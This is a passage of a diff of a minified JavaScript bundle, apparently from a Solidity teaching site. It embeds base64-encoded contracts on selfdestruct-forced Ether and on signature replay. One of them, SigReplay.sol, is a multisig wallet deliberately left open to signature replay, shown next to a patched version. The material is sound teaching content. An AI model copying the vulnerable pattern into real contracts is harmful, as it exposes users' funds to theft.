TsKICAgIH0KfQo="},{fileName:"PreventForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEV0aGVyR2FtZSB7CiAgICB1aW50MjU2IHB1YmxpYyB0YXJnZXRBbW91bnQgPSAzIGV0aGVyOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEgZXRoZXIsICJZb3UgY2FuIG9ubHkgc2VuZCAxIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgKz0gbXNnLnZhbHVlOwogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA8PSB0YXJnZXRBbW91bnQsICJHYW1lIGlzIG92ZXIiKTsKCiAgICAgICAgaWYgKGJhbGFuY2UgPT0gdGFyZ2V0QW1vdW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IG1zZy5zZW5kZXI7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltUmV3YXJkKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gd2lubmVyLCAiTm90IHdpbm5lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGJhbGFuY2V9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],YZ=`

                              Contracts can be deleted from the blockchain by calling selfdestruct.

                              selfdestruct sends all remaining Ether stored in the contract to a designated address.

                              Vulnerability

                              @@ -8943,7 +9505,7 @@ Now no one can deposit and the winner cannot be set. require(sent, "Failed to send Ether"); } } -`,ZZ=({prev:s,next:a})=>r.jsx(u,{version:AZ,title:mZ,description:bZ,html:kZ,prev:s,next:a,codes:wZ}),WZ="0.8.24",GZ="Signature Replay",BZ="An example of a contract vulnerable to signature replay attack",VZ=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"PreventSigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBleGVjdXRlZDsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzWzJdIG1lbW9yeSBfb3duZXJzKSBwYXlhYmxlIHsKICAgICAgICBvd25lcnMgPSBfb3duZXJzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lncwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMzMiB0eEhhc2ggPSBnZXRUeEhhc2goX3RvLCBfYW1vdW50LCBfbm9uY2UpOwogICAgICAgIHJlcXVpcmUoIWV4ZWN1dGVkW3R4SGFzaF0sICJ0eCBleGVjdXRlZCIpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIGV4ZWN1dGVkW3R4SGFzaF0gPSB0cnVlOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBfdG8uY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHhIYXNoKGFkZHJlc3MgX3RvLCB1aW50MjU2IF9hbW91bnQsIHVpbnQyNTYgX25vbmNlKQogICAgICAgIHB1YmxpYwogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfdG8sIF9hbW91bnQsIF9ub25jZSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9jaGVja1NpZ3MoYnl0ZXNbMl0gbWVtb3J5IF9zaWdzLCBieXRlczMyIF90eEhhc2gpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJ5dGVzMzIgZXRoU2lnbmVkSGFzaCA9IF90eEhhc2gudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfc2lncy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHNpZ25lciA9IGV0aFNpZ25lZEhhc2gucmVjb3Zlcihfc2lnc1tpXSk7CiAgICAgICAgICAgIGJvb2wgdmFsaWQgPSBzaWduZXIgPT0gb3duZXJzW2ldOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KfQoKLyoKLy8gb3duZXJzCjB4ZTE5YWVhOTNGNkMxZEJlZjZBMzc3Njg0OGJFMDk5QTdjMzI1M2FjOAoweGZhODU0RkU1MzM5ODQzYjNlOUJmZDg1NTRCMzhCRDA0MkE0MmUzNDAKCi8vIHRvCjB4ZTEwNDIyY2M2MTAzMEM4QjNkQkNEMzZjN2U3ZThFQzNCNTI3RTBBYwovLyBhbW91bnQKMTAwCi8vIG5vbmNlCjAKLy8gdHggaGFzaAoweDEyYTA5NTQ2MmViZmNhMjdkYzRkOTlmZWVmODg1YmZlNTgzNDRmYjZiYjQyYzNjNTJhN2MwZDY4MzZkMTE0NDgKCi8vIHNpZ25hdHVyZXMKMHgxMjBmOGVkOGYyZmE1NTQ5OGYyZWYwYTIyZjI2ZTM5YjliNTFlZDI5Y2M5M2ZlMGVmM2VkMTc1NmY1OGZhZDBjNmViNWExZDZmMzY3MWY4ZDUxNjM2MzlmZGM0MGJiODcyMGRlNmQ4ZjI1MjMwNzdhZDZkMTEzOGE2MDkyM2I4MDFjCjB4YTI0MGE0ODdkZTFlYjViYjk3MWU5MjBjYjA2NzdhNDdkZGM2NDIxZTM4ZjdiMDQ4ZjhhYTg4MjY2YjJjODg0YTEwNDU1YTUyZGM3NmEyMDNhMWE5YTk1MzQxODQ2OWY5ZWVjMmM1OWU4NzIwMWJiYzhkYjBlNGQ5Nzk2OTM1Y2IxYgoqLwo="},{fileName:"SigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbMl0gbWVtb3J5IF9vd25lcnMpIHBheWFibGUgewogICAgICAgIG93bmVycyA9IF9vd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIF90bywgdWludDI1NiBfYW1vdW50LCBieXRlc1syXSBtZW1vcnkgX3NpZ3MpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICBieXRlczMyIHR4SGFzaCA9IGdldFR4SGFzaChfdG8sIF9hbW91bnQpOwogICAgICAgIHJlcXVpcmUoX2NoZWNrU2lncyhfc2lncywgdHhIYXNoKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUeEhhc2goYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RvLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2NoZWNrU2lncyhieXRlc1syXSBtZW1vcnkgX3NpZ3MsIGJ5dGVzMzIgX3R4SGFzaCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRIYXNoID0gX3R4SGFzaC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZXRoU2lnbmVkSGFzaC5yZWNvdmVyKF9zaWdzW2ldKTsKICAgICAgICAgICAgYm9vbCB2YWxpZCA9IHNpZ25lciA9PSBvd25lcnNbaV07CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9Cg=="}],fZ=`

                              Signing messages off-chain and having a contract that requires that signature before executing +`,RZ=({prev:s,next:a})=>r.jsx(u,{version:BZ,title:GZ,description:VZ,html:YZ,prev:s,next:a,codes:fZ}),XZ="0.8.24",vZ="Signature Replay",NZ="An example of a contract vulnerable to signature replay attack",HZ=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jd